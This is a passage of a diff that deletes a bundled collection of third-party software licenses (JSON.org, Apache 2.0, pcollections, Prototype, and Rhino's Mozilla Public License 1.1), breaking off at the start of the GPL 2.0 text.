- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
---------------------------------------------------------------------------------
-json_LICENSE.txt:
-JSON
-
-Copyright (c) 2002 JSON.org
-
-Permission is hereby granted, free of charge, to any person obtaining a copy 
-of this software and associated documentation files (the "Software"), to deal 
-in the Software without restriction, including without limitation the rights 
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 
-copies of the Software, and to permit persons to whom the Software is 
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in 
-all copies or substantial portions of the Software.
-
-The Software shall be used for Good, not Evil.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 
-SOFTWARE. 
-
---------------------------------------------------------------------------------
-maven_LICENSE.txt:
-
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "[]"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright [yyyy] [name of copyright owner]
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
-
---------------------------------------------------------------------------------
-pcollections_LICENSE.txt:
-Copyright (c) 2008 Harold Cooper
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
-
---------------------------------------------------------------------------------
-prototype_license.txt:
-Copyright (c) 2005-2010 Sam Stephenson
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
---------------------------------------------------------------------------------
-rhino_LICENSE.txt:
-The majority of Rhino is MPL 1.1 / GPL 2.0 dual licensed:
-
-The Mozilla Public License (http://www.mozilla.org/MPL/MPL-1.1.txt):
-============================================================================
-			    MOZILLA PUBLIC LICENSE
-				  Version 1.1
-
-				---------------
-
-  1. Definitions.
-
-       1.0.1. "Commercial Use" means distribution or otherwise making the
-       Covered Code available to a third party.
-
-       1.1. "Contributor" means each entity that creates or contributes to
-       the creation of Modifications.
-
-       1.2. "Contributor Version" means the combination of the Original
-       Code, prior Modifications used by a Contributor, and the Modifications
-       made by that particular Contributor.
-
-       1.3. "Covered Code" means the Original Code or Modifications or the
-       combination of the Original Code and Modifications, in each case
-       including portions thereof.
-
-       1.4. "Electronic Distribution Mechanism" means a mechanism generally
-       accepted in the software development community for the electronic
-       transfer of data.
-
-       1.5. "Executable" means Covered Code in any form other than Source
-       Code.
-
-       1.6. "Initial Developer" means the individual or entity identified
-       as the Initial Developer in the Source Code notice required by Exhibit
-       A.
-
-       1.7. "Larger Work" means a work which combines Covered Code or
-       portions thereof with code not governed by the terms of this License.
-
-       1.8. "License" means this document.
-
-       1.8.1. "Licensable" means having the right to grant, to the maximum
-       extent possible, whether at the time of the initial grant or
-       subsequently acquired, any and all of the rights conveyed herein.
-
-       1.9. "Modifications" means any addition to or deletion from the
-       substance or structure of either the Original Code or any previous
-       Modifications. When Covered Code is released as a series of files, a
-       Modification is:
-	    A. Any addition to or deletion from the contents of a file
-	    containing Original Code or previous Modifications.
-
-	    B. Any new file that contains any part of the Original Code or
-	    previous Modifications.
-
-       1.10. "Original Code" means Source Code of computer software code
-       which is described in the Source Code notice required by Exhibit A as
-       Original Code, and which, at the time of its release under this
-       License is not already Covered Code governed by this License.
-
-       1.10.1. "Patent Claims" means any patent claim(s), now owned or
-       hereafter acquired, including without limitation,  method, process,
-       and apparatus claims, in any patent Licensable by grantor.
-
-       1.11. "Source Code" means the preferred form of the Covered Code for
-       making modifications to it, including all modules it contains, plus
-       any associated interface definition files, scripts used to control
-       compilation and installation of an Executable, or source code
-       differential comparisons against either the Original Code or another
-       well known, available Covered Code of the Contributor's choice. The
-       Source Code can be in a compressed or archival form, provided the
-       appropriate decompression or de-archiving software is widely available
-       for no charge.
-
-       1.12. "You" (or "Your")  means an individual or a legal entity
-       exercising rights under, and complying with all of the terms of, this
-       License or a future version of this License issued under Section 6.1.
-       For legal entities, "You" includes any entity which controls, is
-       controlled by, or is under common control with You. For purposes of
-       this definition, "control" means (a) the power, direct or indirect,
-       to cause the direction or management of such entity, whether by
-       contract or otherwise, or (b) ownership of more than fifty percent
-       (50%) of the outstanding shares or beneficial ownership of such
-       entity.
-
-  2. Source Code License.
-
-       2.1. The Initial Developer Grant.
-       The Initial Developer hereby grants You a world-wide, royalty-free,
-       non-exclusive license, subject to third party intellectual property
-       claims:
-	    (a)  under intellectual property rights (other than patent or
-	    trademark) Licensable by Initial Developer to use, reproduce,
-	    modify, display, perform, sublicense and distribute the Original
-	    Code (or portions thereof) with or without Modifications, and/or
-	    as part of a Larger Work; and
-
-	    (b) under Patents Claims infringed by the making, using or
-	    selling of Original Code, to make, have made, use, practice,
-	    sell, and offer for sale, and/or otherwise dispose of the
-	    Original Code (or portions thereof).
-
-	    (c) the licenses granted in this Section 2.1(a) and (b) are
-	    effective on the date Initial Developer first distributes
-	    Original Code under the terms of this License.
-
-	    (d) Notwithstanding Section 2.1(b) above, no patent license is
-	    granted: 1) for code that You delete from the Original Code; 2)
-	    separate from the Original Code;  or 3) for infringements caused
-	    by: i) the modification of the Original Code or ii) the
-	    combination of the Original Code with other software or devices.
-
-       2.2. Contributor Grant.
-       Subject to third party intellectual property claims, each Contributor
-       hereby grants You a world-wide, royalty-free, non-exclusive license
-
-	    (a)  under intellectual property rights (other than patent or
-	    trademark) Licensable by Contributor, to use, reproduce, modify,
-	    display, perform, sublicense and distribute the Modifications
-	    created by such Contributor (or portions thereof) either on an
-	    unmodified basis, with other Modifications, as Covered Code
-	    and/or as part of a Larger Work; and
-
-	    (b) under Patent Claims infringed by the making, using, or
-	    selling of  Modifications made by that Contributor either alone
-	    and/or in combination with its Contributor Version (or portions
-	    of such combination), to make, use, sell, offer for sale, have
-	    made, and/or otherwise dispose of: 1) Modifications made by that
-	    Contributor (or portions thereof); and 2) the combination of
-	    Modifications made by that Contributor with its Contributor
-	    Version (or portions of such combination).
-
-	    (c) the licenses granted in Sections 2.2(a) and 2.2(b) are
-	    effective on the date Contributor first makes Commercial Use of
-	    the Covered Code.
-
-	    (d)    Notwithstanding Section 2.2(b) above, no patent license is
-	    granted: 1) for any code that Contributor has deleted from the
-	    Contributor Version; 2)  separate from the Contributor Version;
-	    3)  for infringements caused by: i) third party modifications of
-	    Contributor Version or ii)  the combination of Modifications made
-	    by that Contributor with other software  (except as part of the
-	    Contributor Version) or other devices; or 4) under Patent Claims
-	    infringed by Covered Code in the absence of Modifications made by
-	    that Contributor.
-
-  3. Distribution Obligations.
-
-       3.1. Application of License.
-       The Modifications which You create or to which You contribute are
-       governed by the terms of this License, including without limitation
-       Section 2.2. The Source Code version of Covered Code may be
-       distributed only under the terms of this License or a future version
-       of this License released under Section 6.1, and You must include a
-       copy of this License with every copy of the Source Code You
-       distribute. You may not offer or impose any terms on any Source Code
-       version that alters or restricts the applicable version of this
-       License or the recipients' rights hereunder. However, You may include
-       an additional document offering the additional rights described in
-       Section 3.5.
-
-       3.2. Availability of Source Code.
-       Any Modification which You create or to which You contribute must be
-       made available in Source Code form under the terms of this License
-       either on the same media as an Executable version or via an accepted
-       Electronic Distribution Mechanism to anyone to whom you made an
-       Executable version available; and if made available via Electronic
-       Distribution Mechanism, must remain available for at least twelve (12)
-       months after the date it initially became available, or at least six
-       (6) months after a subsequent version of that particular Modification
-       has been made available to such recipients. You are responsible for
-       ensuring that the Source Code version remains available even if the
-       Electronic Distribution Mechanism is maintained by a third party.
-
-       3.3. Description of Modifications.
-       You must cause all Covered Code to which You contribute to contain a
-       file documenting the changes You made to create that Covered Code and
-       the date of any change. You must include a prominent statement that
-       the Modification is derived, directly or indirectly, from Original
-       Code provided by the Initial Developer and including the name of the
-       Initial Developer in (a) the Source Code, and (b) in any notice in an
-       Executable version or related documentation in which You describe the
-       origin or ownership of the Covered Code.
-
-       3.4. Intellectual Property Matters
-	    (a) Third Party Claims.
-	    If Contributor has knowledge that a license under a third party's
-	    intellectual property rights is required to exercise the rights
-	    granted by such Contributor under Sections 2.1 or 2.2,
-	    Contributor must include a text file with the Source Code
-	    distribution titled "LEGAL" which describes the claim and the
-	    party making the claim in sufficient detail that a recipient will
-	    know whom to contact. If Contributor obtains such knowledge after
-	    the Modification is made available as described in Section 3.2,
-	    Contributor shall promptly modify the LEGAL file in all copies
-	    Contributor makes available thereafter and shall take other steps
-	    (such as notifying appropriate mailing lists or newsgroups)
-	    reasonably calculated to inform those who received the Covered
-	    Code that new knowledge has been obtained.
-
-	    (b) Contributor APIs.
-	    If Contributor's Modifications include an application programming
-	    interface and Contributor has knowledge of patent licenses which
-	    are reasonably necessary to implement that API, Contributor must
-	    also include this information in the LEGAL file.
-
-		 (c)    Representations.
-	    Contributor represents that, except as disclosed pursuant to
-	    Section 3.4(a) above, Contributor believes that Contributor's
-	    Modifications are Contributor's original creation(s) and/or
-	    Contributor has sufficient rights to grant the rights conveyed by
-	    this License.
-
-       3.5. Required Notices.
-       You must duplicate the notice in Exhibit A in each file of the Source
-       Code.  If it is not possible to put such notice in a particular Source
-       Code file due to its structure, then You must include such notice in a
-       location (such as a relevant directory) where a user would be likely
-       to look for such a notice.  If You created one or more Modification(s)
-       You may add your name as a Contributor to the notice described in
-       Exhibit A.  You must also duplicate this License in any documentation
-       for the Source Code where You describe recipients' rights or ownership
-       rights relating to Covered Code.  You may choose to offer, and to
-       charge a fee for, warranty, support, indemnity or liability
-       obligations to one or more recipients of Covered Code. However, You
-       may do so only on Your own behalf, and not on behalf of the Initial
-       Developer or any Contributor. You must make it absolutely clear than
-       any such warranty, support, indemnity or liability obligation is
-       offered by You alone, and You hereby agree to indemnify the Initial
-       Developer and every Contributor for any liability incurred by the
-       Initial Developer or such Contributor as a result of warranty,
-       support, indemnity or liability terms You offer.
-
-       3.6. Distribution of Executable Versions.
-       You may distribute Covered Code in Executable form only if the
-       requirements of Section 3.1-3.5 have been met for that Covered Code,
-       and if You include a notice stating that the Source Code version of
-       the Covered Code is available under the terms of this License,
-       including a description of how and where You have fulfilled the
-       obligations of Section 3.2. The notice must be conspicuously included
-       in any notice in an Executable version, related documentation or
-       collateral in which You describe recipients' rights relating to the
-       Covered Code. You may distribute the Executable version of Covered
-       Code or ownership rights under a license of Your choice, which may
-       contain terms different from this License, provided that You are in
-       compliance with the terms of this License and that the license for the
-       Executable version does not attempt to limit or alter the recipient's
-       rights in the Source Code version from the rights set forth in this
-       License. If You distribute the Executable version under a different
-       license You must make it absolutely clear that any terms which differ
-       from this License are offered by You alone, not by the Initial
-       Developer or any Contributor. You hereby agree to indemnify the
-       Initial Developer and every Contributor for any liability incurred by
-       the Initial Developer or such Contributor as a result of any such
-       terms You offer.
-
-       3.7. Larger Works.
-       You may create a Larger Work by combining Covered Code with other code
-       not governed by the terms of this License and distribute the Larger
-       Work as a single product. In such a case, You must make sure the
-       requirements of this License are fulfilled for the Covered Code.
-
-  4. Inability to Comply Due to Statute or Regulation.
-
-       If it is impossible for You to comply with any of the terms of this
-       License with respect to some or all of the Covered Code due to
-       statute, judicial order, or regulation then You must: (a) comply with
-       the terms of this License to the maximum extent possible; and (b)
-       describe the limitations and the code they affect. Such description
-       must be included in the LEGAL file described in Section 3.4 and must
-       be included with all distributions of the Source Code. Except to the
-       extent prohibited by statute or regulation, such description must be
-       sufficiently detailed for a recipient of ordinary skill to be able to
-       understand it.
-
-  5. Application of this License.
-
-       This License applies to code to which the Initial Developer has
-       attached the notice in Exhibit A and to related Covered Code.
-
-  6. Versions of the License.
-
-       6.1. New Versions.
-       Netscape Communications Corporation ("Netscape") may publish revised
-       and/or new versions of the License from time to time. Each version
-       will be given a distinguishing version number.
-
-       6.2. Effect of New Versions.
-       Once Covered Code has been published under a particular version of the
-       License, You may always continue to use it under the terms of that
-       version. You may also choose to use such Covered Code under the terms
-       of any subsequent version of the License published by Netscape. No one
-       other than Netscape has the right to modify the terms applicable to
-       Covered Code created under this License.
-
-       6.3. Derivative Works.
-       If You create or use a modified version of this License (which you may
-       only do in order to apply it to code which is not already Covered Code
-       governed by this License), You must (a) rename Your license so that
-       the phrases "Mozilla", "MOZILLAPL", "MOZPL", "Netscape",
-       "MPL", "NPL" or any confusingly similar phrase do not appear in your
-       license (except to note that your license differs from this License)
-       and (b) otherwise make it clear that Your version of the license
-       contains terms which differ from the Mozilla Public License and
-       Netscape Public License. (Filling in the name of the Initial
-       Developer, Original Code or Contributor in the notice described in
-       Exhibit A shall not of themselves be deemed to be modifications of
-       this License.)
-
-  7. DISCLAIMER OF WARRANTY.
-
-       COVERED CODE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS,
-       WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
-       WITHOUT LIMITATION, WARRANTIES THAT THE COVERED CODE IS FREE OF
-       DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING.
-       THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED CODE
-       IS WITH YOU. SHOULD ANY COVERED CODE PROVE DEFECTIVE IN ANY RESPECT,
-       YOU (NOT THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE
-       COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER
-       OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF
-       ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
-
-  8. TERMINATION.
-
-       8.1.  This License and the rights granted hereunder will terminate
-       automatically if You fail to comply with terms herein and fail to cure
-       such breach within 30 days of becoming aware of the breach. All
-       sublicenses to the Covered Code which are properly granted shall
-       survive any termination of this License. Provisions which, by their
-       nature, must remain in effect beyond the termination of this License
-       shall survive.
-
-       8.2.  If You initiate litigation by asserting a patent infringement
-       claim (excluding declatory judgment actions) against Initial Developer
-       or a Contributor (the Initial Developer or Contributor against whom
-       You file such action is referred to as "Participant")  alleging that:
-
-       (a)  such Participant's Contributor Version directly or indirectly
-       infringes any patent, then any and all rights granted by such
-       Participant to You under Sections 2.1 and/or 2.2 of this License
-       shall, upon 60 days notice from Participant terminate prospectively,
-       unless if within 60 days after receipt of notice You either: (i)
-       agree in writing to pay Participant a mutually agreeable reasonable
-       royalty for Your past and future use of Modifications made by such
-       Participant, or (ii) withdraw Your litigation claim with respect to
-       the Contributor Version against such Participant.  If within 60 days
-       of notice, a reasonable royalty and payment arrangement are not
-       mutually agreed upon in writing by the parties or the litigation claim
-       is not withdrawn, the rights granted by Participant to You under
-       Sections 2.1 and/or 2.2 automatically terminate at the expiration of
-       the 60 day notice period specified above.
-
-       (b)  any software, hardware, or device, other than such Participant's
-       Contributor Version, directly or indirectly infringes any patent, then
-       any rights granted to You by such Participant under Sections 2.1(b)
-       and 2.2(b) are revoked effective as of the date You first made, used,
-       sold, distributed, or had made, Modifications made by that
-       Participant.
-
-       8.3.  If You assert a patent infringement claim against Participant
-       alleging that such Participant's Contributor Version directly or
-       indirectly infringes any patent where such claim is resolved (such as
-       by license or settlement) prior to the initiation of patent
-       infringement litigation, then the reasonable value of the licenses
-       granted by such Participant under Sections 2.1 or 2.2 shall be taken
-       into account in determining the amount or value of any payment or
-       license.
-
-       8.4.  In the event of termination under Sections 8.1 or 8.2 above,
-       all end user license agreements (excluding distributors and resellers)
-       which have been validly granted by You or any distributor hereunder
-       prior to termination shall survive termination.
-
-  9. LIMITATION OF LIABILITY.
-
-       UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT
-       (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL YOU, THE INITIAL
-       DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF COVERED CODE,
-       OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR
-       ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY
-       CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL,
-       WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER
-       COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN
-       INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF
-       LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY
-       RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW
-       PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE
-       EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO
-       THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
-
-  10. U.S. GOVERNMENT END USERS.
-
-       The Covered Code is a "commercial item," as that term is defined in
-       48 C.F.R. 2.101 (Oct. 1995), consisting of "commercial computer
-       software" and "commercial computer software documentation," as such
-       terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48
-       C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995),
-       all U.S. Government End Users acquire Covered Code with only those
-       rights set forth herein.
-
-  11. MISCELLANEOUS.
-
-       This License represents the complete agreement concerning subject
-       matter hereof. If any provision of this License is held to be
-       unenforceable, such provision shall be reformed only to the extent
-       necessary to make it enforceable. This License shall be governed by
-       California law provisions (except to the extent applicable law, if
-       any, provides otherwise), excluding its conflict-of-law provisions.
-       With respect to disputes in which at least one party is a citizen of,
-       or an entity chartered or registered to do business in the United
-       States of America, any litigation relating to this License shall be
-       subject to the jurisdiction of the Federal Courts of the Northern
-       District of California, with venue lying in Santa Clara County,
-       California, with the losing party responsible for costs, including
-       without limitation, court costs and reasonable attorneys' fees and
-       expenses. The application of the United Nations Convention on
-       Contracts for the International Sale of Goods is expressly excluded.
-       Any law or regulation which provides that the language of a contract
-       shall be construed against the drafter shall not apply to this
-       License.
-
-  12. RESPONSIBILITY FOR CLAIMS.
-
-       As between Initial Developer and the Contributors, each party is
-       responsible for claims and damages arising, directly or indirectly,
-       out of its utilization of rights under this License and You agree to
-       work with Initial Developer and Contributors to distribute such
-       responsibility on an equitable basis. Nothing herein is intended or
-       shall be deemed to constitute any admission of liability.
-
-  13. MULTIPLE-LICENSED CODE.
-
-       Initial Developer may designate portions of the Covered Code as
-       "Multiple-Licensed".  "Multiple-Licensed" means that the Initial
-       Developer permits you to utilize portions of the Covered Code under
-       Your choice of the NPL or the alternative licenses, if any, specified
-       by the Initial Developer in the file described in Exhibit A.
-
-  EXHIBIT A -Mozilla Public License.
-
-       ``The contents of this file are subject to the Mozilla Public License
-       Version 1.1 (the "License"); you may not use this file except in
-       compliance with the License. You may obtain a copy of the License at
-       http://www.mozilla.org/MPL/
-
-       Software distributed under the License is distributed on an "AS IS"
-       basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the
-       License for the specific language governing rights and limitations
-       under the License.
-
-       The Original Code is ______________________________________.
-
-       The Initial Developer of the Original Code is ________________________.
-       Portions created by ______________________ are Copyright (C) ______
-       _______________________. All Rights Reserved.
-
-       Contributor(s): ______________________________________.
-
-       Alternatively, the contents of this file may be used under the terms
-       of the _____ license (the  "[___] License"), in which case the
-       provisions of [______] License are applicable instead of those
-       above.  If you wish to allow use of your version of this file only
-       under the terms of the [____] License and not to allow others to use
-       your version of this file under the MPL, indicate your decision by
-       deleting  the provisions above and replace  them with the notice and
-       other provisions required by the [___] License.  If you do not delete
-       the provisions above, a recipient may use your version of this file
-       under either the MPL or the [___] License."
-
-       [NOTE: The text of this Exhibit A may differ slightly from the text of
-       the notices in the Source Code files of the Original Code. You should
-       use the text of this Exhibit A rather than the text found in the
-       Original Code Source Code for Your Modifications.]
-============================================================================
-
-============================================================================
-	  GNU GENERAL PUBLIC LICENSE
-	     Version 2, June 1991
-
-   Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
